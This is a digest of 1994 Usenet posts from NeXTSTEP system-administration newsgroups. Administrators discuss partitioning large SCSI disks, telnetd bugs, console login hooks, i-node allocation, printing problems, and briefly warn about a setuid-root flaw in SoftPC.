> Boot block extends past front porch
>
> Any ideas? It's formatted for 512 byte sectors, would 1024 do better?
>
> Any advice welcome, e-mail, and I'll summarize if there's interest.
>
> Thanks,
> Jim
> jmd@cube.handheld.com
>
Thanks to all who answered! The answer is in a NeXTanswers message (1533
Initializing and partitioning big disks) on large drives. Basically, the
drive must be partitioned into >=2gb chunks. The gotcha is that most of
the disk tools on the NeXT cannot help with this. You have to use
scsimodes to get the disk parameters, and then manually build a disktab
entry for the drive. The NeXTanswers messages described the process in
enough detail.
To put an OS on the drive is a tad more complicated, you cannot use the
CD-ROM to initialize it. You must use BuildDisk on the partitioned disk
first. Do not try to partition it with Builddisk, just accept the
incorrect assumptions it makes about the disk being one partition. It will
still use the disktab entry, and all will be built correctly.
My /etc/disktab entry for the DEC DSP5350S:
DSP5350S|DSP5350S-512|DEC DSP5350S-512:\
:ty=fixed_rw_scsi:nc#3055:nt#25:ns#91:ss#512:rm:3600:\
:fp#320:bp#0:ng#0:gs#0:ga#0:ao#0:\
:os=sdmach:z0#64:z1#192:hn=localhost:ro=a:\
:pa#0:sa#2781750:ba#8192:fa#1024:ca#32:da#4096:ra#10:oa=time:\
:ia:ta=4.3BSD:\
:pb#2781750:sb#4194304:bb#8192:fb#1024:cb#32:db#4096:rb#10:ob=time:
\
:ib:tb=4.3BSD:
I put the "smaller" (1.4gb) partition first for booting and OS, and made
the second as big as possible, with no OS overhead.
The reverse situation would be:
DSP5350S|DSP5350S-512|DEC DSP5350S-512:\
:ty=fixed_rw_scsi:nc#3055:nt#25:ns#91:ss#512:rm:3600:\
:fp#320:bp#0:ng#0:gs#0:ga#0:ao#0:\
:os=sdmach:z0#64:z1#192:hn=localhost:ro=a:\
:pa#0:sa#4194304:ba#8192:fa#1024:ca#32:da#4096:ra#10:oa=time:\
:ia:ta=4.3BSD:\
:pb#4194304:sb#2781750:bb#8192:fb#1024:cb#32:db#4096:rb#10:ob=time:
\
:ib:tb=4.3BSD:
Jim
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
From: olson@dalek.mcs.anl.gov (Bob Olson)
Subject: Re: Operating NeXTStation Headlessly
Message-ID: <7644298285925@dalek.mcs.anl.gov>
Sender: usenet@mcs.anl.gov
Organization: Math and Computer Science, Argonne National Laboratory
References: <TSPENCER.94Mar21184652@kiwi.mccaw.com> <1994Mar22.161509.4416@princeton.edu>
Date: Wed, 23 Mar 1994 13:37:08 GMT
Has anyone been able to set a headless machine up as a print server?
We have tried, but get errors to the effect that the print daemon
cannot talk to the window server.
--bob
From: jheidelo@alleg.edu (Jason Heideloff)
Newsgroups: comp.sys.next.sysadmin
Subject: Prevention of logins
Date: 24 Mar 1994 01:07:57 GMT
Organization: Allegheny College
Message-ID: <2mqp5d$ag5@mustang.alleg.edu>
Does anyone out there know of a way to allow only a certain group of users
to login through the console gracefully? By gracefully, I mean being able
to check to see if the user is authorized and if so, login, if not, return
to a login screen?
Please send responses to jheidelo@alleg.edu if possible.
Thanks!
--
Jason Heideloff
Allegheny College
Meadville, PA 16334
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin
Subject: libc.a library?
Message-ID: <1994Mar23.171353.170895@eros.embl-heidelberg.de>
From: grindrod@eagle.NMR.EMBL-Heidelberg.DE (David Grindrod)
Date: 23 Mar 94 17:13:52 +0100
Distribution: world
Organization: European Molecular Biology Laboratory
Does anyone have a compiled version of libc.a for NeXTSTEP version 3.1. I know it used to be available with older versions. I can not seems to get the GNU version to compile.
Thanks
Dave
--------------------------------------------------------------------
David Grindrod NMR System Manager
EMBL, Heidelberg.
Email: grindrod@EMBL-Heidelberg.DE
Newsgroups: comp.sys.next.sysadmin
From: hbu@wag.ch (Hans Burkard)
Subject: Re: Slip, CSLIP and PPP
Message-ID: <Cn4KsC.8Ct@wag.ch>
Keywords: PPP
Sender: usenet@wag.ch
Organization: workstation ag, Rohrstr. 36/38, CH-8152 Glattbrugg, Switzerland
References: <2mmdie$161@steffi.demon.co.uk>
Date: Wed, 23 Mar 1994 16:07:24 GMT
In article <2mmdie$161@steffi.demon.co.uk> robert@steffi.demon.co.uk
(Robert Nicholson) writes:
> cbradley@bozell.com wrote in comp.sys.next.sysadmin
> >In article <2l47pm$17b@steffi.demon.co.uk> robert@steffi.demon.co.uk
(Robert
> >Nicholson) writes:
> >[munch]
> >> Is that the next-ppp.tar archive?
> >>
> >> I tried that yesterday with absolutely no luck whatsoever. It looks
> >> like that was for 2.1 only.
> >>
> >> Has anybody tried MorningStar?
> >
> >I've been using MorningStar's PPP for NEXTSTEP 3 for about a year now.
Great
> >product; very reliable. No connection with MorningStar except as a
happy
> >customer.
> >--
> >Chris Bradley | cbradley@bozell.com
> >Techno-Slave, with Many Masters | +1 214 830 2273 vox
> >Bozell, Jacobs, Kenyon & Eckhardt, Inc. | +1 214 830 2687 fax
> >Advertising and Public Relations | "Born ready"
>
> I believe the beta for 3.2 isn't done yet though....
>
Not true, we have installed PPP for NS3.2 on several location. Works
great!!!
-Hans-
Hans Burkard
workstation ag, Switzerland
hbu@wag.ch
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
From: fozztexx@nvc.cc.ca.us (Chris Osborn)
Subject: SoftPC 3.0 security hole
Message-ID: <Cn4tFB.n2F@nvc.cc.ca.us>
Sender: news@nvc.cc.ca.us
Organization: Napa Valley College
Date: Wed, 23 Mar 1994 19:13:58 GMT
Besides SoftPC (on the NeXTStep User CD) having major bugs keeping
from running Windows most of the time, SoftPC runs setuid root. It
happily leaves setuid on, allowing the user to actually be root. I had
a user create a Windows hdf file in their home directory, which turned
out to be root's home! If the user sets the FSA drive to /, imagine
all the trouble they could cause.
--
Chris Osborn, Network Administrator Voice: 707 253 3130
Napa Valley College Fax: 707 253 3063
fozztexx@nvc.cc.ca.us
fozztexx@groucho.sonoma.edu MIME/NeXTMail ok at both
From: af@iaka.biomath.jussieu.fr (Alain Fauconnet)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: telnetd is still crippled in NS3.2 !
Date: 24 Mar 94 15:23:29 GMT
Organization: Universites Paris VI/Paris VII - France
Distribution: world
Message-ID: <af.764522609@iaka>
References: <TJYANG.94Mar13231406@cc.nsysu.edu.tw> <2m03i4$1no@umd5.umd.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
rogata@is-next.umd.edu (Richard Scott Ogata) writes:
>In article <TJYANG.94Mar13231406@cc.nsysu.edu.tw> tjyang@cc.nsysu.edu.tw (Tyng-Jing Yang) writes:
>>I still got crippled output when I telnet from sun, hp, linux and
>>type a "ls" command.
>>
>>Anyway to fix this problem ?
>>
>Try:
>stty -extproc ; tset
>If your problem is what I think it is, then this should fix it.
>Rich Ogata
>rogata@arpa.mil
We've been having problems with the NeXTstep telnetd since 2.1, and it's
still not fixed in 3.1 (no 3.2 yet here). It's about unuseable when one
telnets from a VMS box running UCX. Our local NeXT dealer has always
claimed that the VMS client is broken, but well, it works fine with the
AIX, SunOS, Solaris, Ultrix and MIPSos telnetd !
I've built a telnet from the sources on gatekeeper.dec.com. I had to
put a few fixes in and build a Makefile for NS. It's been only tested on
black hardware but we've been perfectly happy with it until now.
Get it from ftp.jussieu.fr in /pub/next/telnetd/telnetd.tar.Z
_Alain_
--
Alain FAUCONNET Ingenieur systeme - System Manager AP-HP/SIM
Public Health Research Labs 91 bld de l'Hopital 75013 PARIS FRANCE
Mail: af@biomath.jussieu.fr (*no* NeXTmail !)
Tel: (+33) 1-40-77-96-19 Fax: (+33) 1-45-86-80-68
From: dcl@panix.com (David Lambert)
Newsgroups: comp.sys.next.sysadmin
Subject: Reading SunOS "dump" files from NS/I
Date: 24 Mar 1994 10:23:40 -0500
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <2msb9s$t32@panix.com>
Keywords: Exabyte, SunOS, dump, NS/I
Hi.
I have a NS/I system with a DPT2022 controller and a compressing
Exabyte tape drive.
These items seem to work well enough for most things, but I have
had troubles trying to read some old "dump" files that I created
under SunOS 4.1 (also on an Exabyte). (I get "I/O error" when I
try to use "restore -if /dev/rst0")
I have written and read tar files to/from the tape without
problems.
Any ideas?
David Lambert
dcl@panix.com
dlambert@aigtc.com <- NeXTMail ok (<300K)
From: slxn8@cc.usu.edu
Newsgroups: comp.sys.next.sysadmin
Subject: What is PPP, and how does it work?
Message-ID: <1994Mar24.085413.14120@cc.usu.edu>
Date: 24 Mar 94 08:54:13 MDT
Organization: Utah State University
For those of use who are wondering...surely I'm not the only one. ;-)
What exactly is PPP and how does it work? I kind of gather that it allows you
to remotely connect to your system...but to what extent? Is it similar to ISDN
type stuff that was done with PhoneKit?
Thanks,
======================================================================
John Zollinger (NextMail Preferred)
Programmer/Analyst ati06!obsidian!johnz@attati.attmail.com
[Moore BCS - Logan, Utah] "Life is too important to take seriously."
======================================================================
From: dcl@panix.com (David Lambert)
Newsgroups: comp.sys.next.sysadmin
Subject: Restoring SunOS dumped files on NS/I - ANSWERED
Date: 24 Mar 1994 14:59:39 -0500
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <2msrfb$mmh@panix.com>
Hi. The answer to the question:
"How does one restore SunOS 'dump'ed files on NS/I?"
Answer:
One _CAN'T_. The formats are incompatible.
Thanks to Ken-ichiro Aoki and Moritz Willers for their
quick responses.
David Lambert
dcl@panix.com
From: CCC_HART@rzmain.rz.uni-ulm.de (Hardy)
Newsgroups: comp.sys.next.sysadmin
Subject: Trouble with IBM OEM 0662S12 SCSI-Drive
Date: 24 Mar 1994 20:33:01 GMT
Organization: University of Ulm, Germany
Distribution: world
Message-ID: <2mstdt$gcr@wega.rz.uni-ulm.de>
Hello NeXTler,
i have a IBM OEM 0662S12 SCSI-Drive. I will install it as internal disk
drive in an next monostation. I have some problems to initialize it:
INTERNAL: boot von cd-rom -> error -> shut down
EXTERNAL: login -> initialize disk -> error
Something goes wrong, but what ?
---------- start of error-msg ----------
disk name: IBM OEM 0662S12
disk type: fixed_rw_scsi
writing disk label
sd1: Incomplete disk transfer; bytes moved = 0x1df7, resid = 0x1c48, retry 1
sd1: Incomplete disk transfer; bytes moved = 0x1df7, resid = 0x1c48, retry 2
sd1: Incomplete disk transfer; bytes moved = 0x1df7, resid = 0x1c48, retry 3
sd1: Incomplete disk transfer; bytes moved = 0x1df7, resid = 0x1c48, retry 4
sd1: Incomplete disk transfer; bytes moved = 0x1df7, resid = 0x1c48, retry 5
sd1: Incomplete disk transfer; bytes moved = 0x1df7, resid = 0x1c48, retry 6
sd1: Incomplete disk transfer; bytes moved = 0x1df7, resid = 0x1c48, retry 7
sd1: Incomplete disk transfer; bytes moved = 0x1df7, resid = 0x1c48, retry 8
sd1: Incomplete disk transfer; bytes moved = 0x1df7, resid = 0x1c48, retry 9
sd1: Incomplete disk transfer - FATAL
sd1: Incomplete disk transfer; bytes moved = 0x1df7, resid = 0x1c48, retry 1
sd1: Incomplete disk transfer; bytes moved = 0x1df7, resid = 0x1c48, retry 2
sd1: Incomplete disk transfer; bytes moved = 0x1df7, resid = 0x1c48, retry 3
sd1: Incomplete disk transfer; bytes moved = 0x1df7, resid = 0x1c48, retry 4
sd1: Incomplete disk transfer; bytes moved = 0x1df7, resid = 0x1c48, retry 5
sd1: Incomplete disk transfer; bytes moved = 0x1df7, resid = 0x1c48, retry 6
sd1: Incomplete disk transfer; bytes moved = 0x1df7, resid = 0x1c48, retry 7
sd1: Incomplete disk transfer; bytes moved = 0x1df7, resid = 0x1c48, retry 8
sd1: Incomplete disk transfer; bytes moved = 0x1df7, resid = 0x1c48, retry 9
sd1: Incomplete disk transfer - FATAL
sd1: Incomplete disk transfer; bytes moved = 0x1df7, resid = 0x1c48, retry 1
sd1: Incomplete disk transfer; bytes moved = 0x1df7, resid = 0x1c48, retry 2
sd1: Incomplete disk transfer; bytes moved = 0x1df7, resid = 0x1c48, retry 3
sd1: Incomplete disk transfer; bytes moved = 0x1df7, resid = 0x1c48, retry 4
sd1: Incomplete disk transfer; bytes moved = 0x1df7, resid = 0x1c48, retry 5
sd1: Incomplete disk transfer; bytes moved = 0x1df7, resid = 0x1c48, retry 6
sd1: Incomplete disk transfer; bytes moved = 0x1df7, resid = 0x1c48, retry 7
sd1: Incomplete disk transfer; bytes moved = 0x1df7, resid = 0x1c48, retry 8
sd1: Incomplete disk transfer; bytes moved = 0x1df7, resid = 0x1c48, retry 9
sd1: Incomplete disk transfer - FATAL
sd1: Incomplete disk transfer; bytes moved = 0x1df7, resid = 0x1c48, retry 1
sd1: Incomplete disk transfer; bytes moved = 0x1df7, resid = 0x1c48, retry 2
sd1: Incomplete disk transfer; bytes moved = 0x1df7, resid = 0x1c48, retry 3
sd1: Incomplete disk transfer; bytes moved = 0x1df7, resid = 0x1c48, retry 4
sd1: Incomplete disk transfer; bytes moved = 0x1df7, resid = 0x1c48, retry 5
sd1: Incomplete disk transfer; bytes moved = 0x1df7, resid = 0x1c48, retry 6
sd1: Incomplete disk transfer; bytes moved = 0x1df7, resid = 0x1c48, retry 7
sd1: Incomplete disk transfer; bytes moved = 0x1df7, resid = 0x1c48, retry 8
sd1: Incomplete disk transfer; bytes moved = 0x1df7, resid = 0x1c48, retry 9
sd1: Incomplete disk transfer - FATAL
sd1: Incomplete disk transfer; bytes moved = 0x2000, resid = 0x2000, retry 1
sd1: Incomplete disk transfer; bytes moved = 0x2000, resid = 0x2000, retry 2
sd1: Incomplete disk transfer; bytes moved = 0x2000, resid = 0x2000, retry 3
sd1: Incomplete disk transfer; bytes moved = 0x2000, resid = 0x2000, retry 4
sd1: Incomplete disk transfer; bytes moved = 0x2000, resid = 0x2000, retry 5
sd1: Incomplete disk transfer; bytes moved = 0x2000, resid = 0x2000, retry 6
sd1: Incomplete disk transfer; bytes moved = 0x2000, resid = 0x2000, retry 7
sd1: Incomplete disk transfer; bytes moved = 0x2000, resid = 0x2000, retry 8
sd1: Incomplete disk transfer; bytes moved = 0x2000, resid = 0x2000, retry 9
sd1: Incomplete disk transfer - FATAL
...r/w returned -1; expected 50176
Write of boot block 0 failed
sd1: Incomplete disk transfer; bytes moved = 0x2000, resid = 0x2000, retry 1
sd1: Incomplete disk transfer; bytes moved = 0x2000, resid = 0x2000, retry 2
sd1: Incomplete disk transfer; bytes moved = 0x2000, resid = 0x2000, retry 3
sd1: Incomplete disk transfer; bytes moved = 0x2000, resid = 0x2000, retry 4
sd1: Incomplete disk transfer; bytes moved = 0x2000, resid = 0x2000, retry 5
sd1: Incomplete disk transfer; bytes moved = 0x2000, resid = 0x2000, retry 6
sd1: Incomplete disk transfer; bytes moved = 0x2000, resid = 0x2000, retry 7
sd1: Incomplete disk transfer; bytes moved = 0x2000, resid = 0x2000, retry 8
sd1: Incomplete disk transfer; bytes moved = 0x2000, resid = 0x2000, retry 9
sd1: Incomplete disk transfer - FATAL
...r/w returned -1; expected 50176
Write of boot block 1 failed
No boot blocks on disk
---------- end of error-msg ----------
I have used the following jumper settings:
SCSI Adress Auto +5V Master LED Write Auto Cust. Term.
Bit2 Bit1 Bit0 Start Sync Cat. Prot. Start Power
Delay Enab.
+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+ +-----+
| o | o | X | | X | X | o | o | o | o | o | | |
| | | X | | X | X | | | | | | | XXX |
| o | o | X | o | X | X | o | o | o | o | o | | |
+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+ +-----+
GND GND GND NC GND Enab. Slave LED GND GND GND
Act. Sync Anod.
Term.
Front Options Jumper Block (& Termination Power Block) for SMP Versions
Dis. Dis. Dis. Cust.
T.I. SCSI Unit
Sync Parit Atten-
Negot. tions
+-----+-----+-----+-----+
| X | o | o | o |
| X | | | |
| X | o | o | o |
+-----+-----+-----+-----+
GND GND GND GND
Bottom Options Jumper Block for SMP Versions
so long...
hardy
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| smail: Herrenkellergasse 20, 89073 Ulm, Germany | die ewige Antwort ... |
| email: hardy@barfly.in-ulm.de (NeXT-mail) | ich weiss es nicht. " |
| Christoph.Hartmann@student.uni-ulm.de | - M. Rourke in BARFLY |
so long...
hardy
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## Christoph.Hartmann@student.uni-ulm.de hardy@barfly.in-ulm.de ##
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## Wiedergabe, auch auszugsweise, ausserhalb elektronischer ##
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Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
From: nicolev@number_one.apana.org.au
Subject: Which MO's can I use under NS 3.1 onwards
Message-ID: <Cn6EF8.2ox@number_one.apana.org.au>
Sender: nicolek@number_one.apana.org.au (Nikki A Vincent)
Organization: Cafe de Strachan - the Virtual NeXTSTEP Cafe Downunder.
Date: Thu, 24 Mar 1994 15:45:08 GMT
Hi
Which SCSI Magneto Optical drives can I use under NeXTSTEP 3.1 and
upwards? I'd prefer the 3.5" variety.
I would have presumed that any MO would work simply as a SCSI device, but
I seem to remember some discussion about this topic which is leading me to
believe otherwise.
Any comments welcome,... commercial replies with pricing are welcome as
well :-)
Cheers
Nicole
----------------------NeXTmail Accepted and preferred --------------------
Nicole Vincent : nicolev@number_one.apana.org.au
SYDNEY NSW AUSTRALIA
On a day when nothing happens, are Life is a health hazard,...
they gonna cancel the 6 o'clock news? watch out or it will get you.
WIRED, February 1994, pp. 50. ME :-)
From: robin@pencom.com (Robin D. Wilson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: ** Security Hole ** Can't restrict boot options on NS Intel
Date: 24 Mar 1994 21:48:42 GMT
Organization: Pencom Sofware
Message-ID: <2mt1rq$eob@digdug.pencom.com>
References: <scratch.763968970@arcturus.sce.carleton.ca>
In article <scratch.763968970@arcturus.sce.carleton.ca>
scratch@arcturus.sce.carleton.ca (Craig Scratchley) writes:
:robin@pencom.com (Robin D. Wilson) writes:
:
:>:Note that with option 1, if the system administrator wanted to
:>:boot off of a non-default device, he could use the Intel
:>:Workstation hardware password and reconfigure the workstation to
:>:boot first off of a floppy disk. Then he could use the NeXTSTEP
:>:floppy disk, giving him some flexibility.
:
:>If you give someone the ability to 'boot' your machine, they can break it
:>regardless of your security procedures. The safest (i.e. not 'secure',
:>merely _more_ secure) way to deal with this problem is use a PC that allows
:>you to set a hardware password. Then require the system admin to boot all
:>machines (i.e. don't give out the HW password). The AMI CMOS allows you to
:>specify a HW passwd, so nobody can reconfigure or boot the machine without
:>knowing the password.
:
:That's okay, but what if the system admin is on holiday in Tibet
:and there is a power failure?
Hmmm... I guess I figured it was an 'unstated' rule that you always have a
'backup' plan. (I.E. the SA's manager has the passwords, other members of
the SA team have the passwords, you just don't pass it around to users and
those who don't need to know.)
:(Of course, they could always unplug the battery and
:>let the CMOS reset...)
:
:But with a locked case they would have to break the case in order
:to get in.
Of course. But most cases have pretty flimsy 'locks', not to mention pretty
crappy cases (preventing some sort of 'locked metal band' around the case
from being completely effective).
The idea (as I stated in my first post) is to make unattractive enough so
that the casual threat move along to someone else's stuff.
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Pflugerville, TX 78660 Austin, TX 78759
Newsgroups: comp.sys.next.sysadmin
From: francisr@stupid.ucs.indiana.edu (Rob Francis)
Subject: Odd UserManager problem
Message-ID: <Cn6tqF.A5t@usenet.ucs.indiana.edu>
Sender: news@usenet.ucs.indiana.edu (USENET News System)
Organization: Indiana University
Date: Thu, 24 Mar 1994 21:15:50 GMT
Using NetinfoMangler, I see that everything seems to be set up just
fine on a NextStation TurboColor running NextStep 3.1.
I only see this problem with UserManager, other apps seem fine.
When I try to open a user, or create a new one, I got the panel that
asks what domain, then let's me select a username. After hitting
okay, an Alert panel comes up with the following:
Unable to open connection to NetInfo domain /, error was 'No such directory'.
The fact is, I can read / just fine:
francisr@variations (30) :niutil -list / /users
25 root
27 nobody
29 agent
31 daemon
33 uucp
35 news
37 sybase
39 me
.....etc...
Does anyone know directory UserManager is complaining about?
-rob
---
Rob Francis Unix Systems Specialist, University Computing Services
Indiana University, francisr@indiana.edu (812)855-0327
Newsgroups: comp.sys.next.sysadmin
From: dnulu@euclid.math.uno.edu (Deepak Nulu)
Subject: setting the background
Message-ID: <1994Mar24.220550.23593@cs.uno.edu>
Sender: news@cs.uno.edu
Organization: University of New Orleans
Date: Thu, 24 Mar 1994 22:05:50 GMT
hi,
i am trying to display a message (tiff/eps file) whenever the login
window/panel is being displayed. currently, i set the file as background
(using the background shell script), but it is lost when the machine is
powered off.
is it possible to include the background 'command' in some file so that it
is performed when the machine is powered on again?
another possibility that occured to me was to change the tiff file that
loginwindow uses. one of the faqs describes how to do this, mentioning
that there are restrictions on the tiff file, but not what the
restrictions are. what exactly are the restrictions?
i do not monitor this group and hence would appreciate it if replies are
emailed directly to me (and also posted for the sake of others).
thanks in advance.
deepak nulu.
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: demon.ip.support.unix,comp.sys.next.sysadmin
Subject: Smail users? Anyone Anyone?
Date: 24 Mar 1994 22:18:05 -0000
Organization: me organised, that's a joke.
Message-ID: <2mt3it$353@steffi.demon.co.uk>
I'm going to take a look at smail (3.1.28). Anybody using this?
--
"Bitch" (Albert Finney, Audrey Hepburn)
"Bastard"
(Two for the Road, 1967)
(ASCII for text only messages)
From: jweiss@casbah.acns.nwu.edu (Jerry Weiss)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: telnetd is still crippled in NS3.2 !
Date: 24 Mar 1994 22:47:59 GMT
Organization: Northwestern University, Evanston IL USA
Message-ID: <2mt5av$q1u@news.acns.nwu.edu>
References: <TJYANG.94Mar13231406@cc.nsysu.edu.tw> <2m03i4$1no@umd5.umd.edu> <af.764522609@iaka>
In article <af.764522609@iaka>,
Alain Fauconnet <af@iaka.biomath.jussieu.fr> wrote:
>rogata@is-next.umd.edu (Richard Scott Ogata) writes:
>
>>In article <TJYANG.94Mar13231406@cc.nsysu.edu.tw> tjyang@cc.nsysu.edu.tw (Tyng-Jing Yang) writes:
>>>I still got crippled output when I telnet from sun, hp, linux and
>>>type a "ls" command.
>>>
>>>Anyway to fix this problem ?
>>>
>
>>Try:
>
>>stty -extproc ; tset
>
>>If your problem is what I think it is, then this should fix it.
>
>>Rich Ogata
>>rogata@arpa.mil
>
>We've been having problems with the NeXTstep telnetd since 2.1, and it's
>still not fixed in 3.1 (no 3.2 yet here). It's about unuseable when one
>telnets from a VMS box running UCX. Our local NeXT dealer has always
>claimed that the VMS client is broken, but well, it works fine with the
>AIX, SunOS, Solaris, Ultrix and MIPSos telnetd !
I have had problems with the UCX client running under VMS. I went as
far as to install another version of telnetd myself thinking the
problem was with NS. Turned out to be UCX v2.0b and below were unusable.
After an upgrade to UCX 2.0d the problems went away.
I'm not saying that NS is completely faultless, but I think most of
the blame in particular case did belong to UCX.
--
Jerry S. Weiss
j-weiss@nwu.edu
Dept. Medicine, Northwestern Univ. Medical School, Chicago, Illinois
%SYSTEM-S-PHALOKTARG, Phasers Locked on Target, Ready to Fire
Newsgroups: comp.sys.next.sysadmin
From: js@euler.hnv.icem.de(Juergen Sell)
Subject: Re: Where's the console message log??
Message-ID: <Cn5091.13J@euler.hnv.icem.de>
Sender: js@euler.hnv.icem.de (Juergen Sell)
Organization: Ink Unknown
References: <2mnnq7$hsr@nkosi.well.com>
Date: Wed, 23 Mar 1994 21:41:24 GMT
In article <2mnnq7$hsr@nkosi.well.com> kenw@well.sf.ca.us (Kenneth A. Worthy) writes:
> I'm running NS3.2 on a cube.
>
> How can I look at the messages generating during boot time, i.e., the ones
> written to /dev/console. I want to browse back through the boot output.
Try /usr/adm/messages or /usr/adm/syslog or whatever name your system configured to support.
This can be found it looking for syslog.conf. If you don't know already - I am not going to tell
you where and how to find that here.
Juergen
---
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Deisterstr. 18 Fax ++49-511-440617
BRD 30449 Hannover Fon ++49-511-440688
== The revolution will not be televised - GilScottHeron 1970 ==
== The revolution will not be posted - Juergen 1994 ==
Newsgroups: comp.sys.next.sysadmin
From: melli@cs.sfu.ca (Gabor Melli)
Subject: Re: Prevention of logins
Message-ID: <1994Mar25.002105.6573@cs.sfu.ca>
Organization: Simon Fraser University
References: <2mqp5d$ag5@mustang.alleg.edu>
Date: Fri, 25 Mar 1994 00:21:05 GMT
In article <2mqp5d$ag5@mustang.alleg.edu> jheidelo@alleg.edu writes:
>Does anyone out there know of a way to allow only a certain group of users
>to login through the console gracefully? By gracefully, I mean being able
>to check to see if the user is authorized and if so, login, if not, return
>to a login screen?
I use the following -LoginHook script to moderate what I want done
when someone logs into a NeXT's console. When you exit the script
with -1 the person may not log in. You can instert here whatever
mechanism to determine if the user has appropiate access.
--Gabor
---------------------------------------------------------------------
#! /bin/csh -f
# Note: this script gets executed as root. The permissions of the file
# are important for security reasons.
#
# Disallow root to log into the console
if ( $1 == "root" ) exit -1
# Force the user to agree to CMPT terms - G.M. 92.02.07
/usr/local2/adm/bin/NeXTLabIntro
set state=$status
if ( $state != -1 ) exit -1
# Do some setup work as the user
/bin/su $1 -c /usr/local2/bin/.NeXT_setup &
From: shepherd@suite.com (Scot Shepherd)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: A personal Sys Admin winge.
Date: 24 Mar 1994 19:23:18 GMT
Organization: Suite Software
Distribution: world
Message-ID: <2mspb6$pc5@bilbo.suite.com>
References: <2lnpgm$qdr@Times.Stanford.EDU>
In article <2lnpgm$qdr@Times.Stanford.EDU> hsr@cs.Stanford.EDU (Scott
Roy) writes:
> Joshua's buildlinks idea is essentially the path I've followed.
The main
> thing I always worry about, though, is the netinfo database. I'm
fearful
> to just copy my old one for lack of a way to tell when NeXT has
added new
> information to it.
>
> Currently I do a bunch of manual nidumps before the upgrade and
niloads
> after. Does anyone have a more elegant way?
>
From what I was told by a Next customer support person this is NOT a
good way to backup and restore your Netinfo. Nidump only dumps the
data that would go into a normal unix config file like HOSTS.
Therefore on the niload later you are only supplying this base
information. Netinfo tends to have other data that it keeps about
that isn't applicable on the dump and wouldn't get restored on the
niload to a fresh Netinfo database.
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From: u8123096@cc.nctu.edu.tw (Steven Lee)
Newsgroups: comp.sys.next.sysadmin
Subject: Problem about NS/FIP 3.2 & NW 3.11
Date: 25 Mar 1994 01:36:01 GMT
Organization: Dep. Computer Sci. & Information Eng., Chiao Tung Univ., Taiwan, R.O.C
Message-ID: <2mtf61$ctl@news.csie.nctu.edu.tw>
We're currently have about 30 PCs running Novell
Netware 3.11 and TCP/IP. And we're setting up an
NS/FIP 3.2 machine recently.
The file sharing part of NS/FIP 3.2 works fine.
But when we start to install the HP Laserjet 4M
(6MB with Postscript) on Novell printer server
for use with NS/FIP, a strange problem occurred.
It won't print!! The server notifies that the
paper has form 0, which is illegal. Later I use
pconsole to change the form to default(Letter),
It still won't print. This time, can't find form
1. I've tried many several software on NS/FIP,
all have the same problem. I've checked the setting
of the printer server, but can't find anything
meaningful. What should I do now??
(Normal Novell users all can print without fault)
--
u8123096
Steven Lee
Dept. of Computer Information Science
National Chiao-Tung University
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.bugs
Subject: Warning: Too few i-nodes allocated for multi GB drives
Date: 25 Mar 1994 03:13:44 GMT
Organization: University of California, Berkeley
Distribution: world
Message-ID: <2mtkt8$s1e@agate.berkeley.edu>
Attention: Those with >=2GB drives,
You might want to check how many i-nodes you have for drives newly
partitioned and initialized. My initial try with DEC DSP5200S (2GB)
only allocated one i-node per 22kb. I actually ran out of i-nodes
with only 1/3 full partition. I don't know what happened, but the
log I saved shows something odd:
# newfs -v /dev/rsd3a
/etc/mkfs /dev/rsd3a 976897 71 21 8192 1024 32 10 60 4096 t
Warning: 4096 bytes per inode impossible due
to cylinder group size, using 22235 bytes per inode
Reduce cylinder group size to reduce bytes per inode.
Why bytes per i-node jumps to 22kb when it cannot do 4kb as requested?
For now, I have worked around this by reducing the ca#, cb#.. to 8 from
32 in /etc/disktab.
You might want to check the allocation of i-nodes by "df -i" before
you put a lot of files onto the drive. Otherwise, you might be
surprised soon even if your 'df' indicates plenty of space.
Did someone break mkfs or newfs in the recent NS releases?
--
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USMail: University of California, 360 Minor Hall, Berkeley, CA 94720
Telephone: (510) 642-6440 Fax: (510) 642-3323
Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
Newsgroups: comp.sys.next.sysadmin
From: mrb@nols.edu (Mike Bray)
Subject: lpd/postscript end of file requirements?
Message-ID: <Cn7C6o.1DE@nols.edu>
Sender: mrb@nols.edu
Organization: National Outdoor Leadership School
Date: Fri, 25 Mar 1994 03:54:23 GMT
I have an HP LaserJet IIISi with PostScript, on Apple EtherTalk. A
GatorBox CS running GatorPrint converts lpd print jobs from the NeXT into
AppleTalk print jobs and generally does a good job, but sometimes
printjobs hang and we're also outgrowing the GatorBox and want to replace
it.
I tried a Pacific Data DirectNet card in the IIIsi. This card sits on the
ethernet and emulates a lpd remote print host, just like the GatorBox.
When I send a print job to the printer, it prints all the pages correctly,
but continues to wait for more pages. The ready light keeps flashing, and
the "form feed" light is on. After a couple of minutes, the job times out
and a postscript error page is printed saying "timeout". Then the printer
accepts more jobs. If a second print job is sent while the printer is
waiting, it prints those pages with the same parameters as the first job.
Parameters such as duplex mode, paper tray selection, etc.
Pacific Data says the print job must have a control-d at the end of it to
delimit the end of the print job. Is this the way the lpd system works?
Does the NeXT _not_ end a job with control-d? Does the GatorBox not care?
Doesn't PostScript know when the end of a print job is after the %%Trailer
section of a PostScript file? How do I easily make the NeXT append a
control-d to the end of the files, create my own filter and add it to the
printcap info in NetInfo?
Thanks for any info you might have.
Mike Bray
NOLS
mrb@nols.edu
307-332-1279
From: gregory@nukestep.mit.edu (Gregory B Howland)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.next.software
Subject: Bus Logic 445S Driver needed
Date: 25 Mar 1994 04:28:29 GMT
Organization: Massachvsetts Institvte of Technology
Message-ID: <2mtp9d$b42@senator-bedfellow.MIT.EDU>
